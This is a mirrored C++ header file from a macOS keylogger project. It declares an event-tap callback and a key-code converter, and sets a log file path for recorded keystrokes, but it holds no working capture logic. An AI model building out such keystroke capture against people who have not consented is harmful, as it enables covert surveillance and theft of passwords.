mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
19 lines
519 B
C++
19 lines
519 B
C++
#ifndef __KEYLOGGER_H__
|
|
#define __KEYLOGGER_H__
|
|
|
|
#include <iostream>
|
|
#include <stdio.h>
|
|
#include <ctime>
|
|
#include <ApplicationServices/ApplicationServices.h>
|
|
#include <Carbon/Carbon.h>
|
|
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
|
|
|
|
using namespace std;
|
|
|
|
FILE *logfile = NULL;
|
|
const char *logfileLocation = "./keystroke.log";
|
|
|
|
CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*);
|
|
const char *convertKeyCode(int);
|
|
|
|
#endif |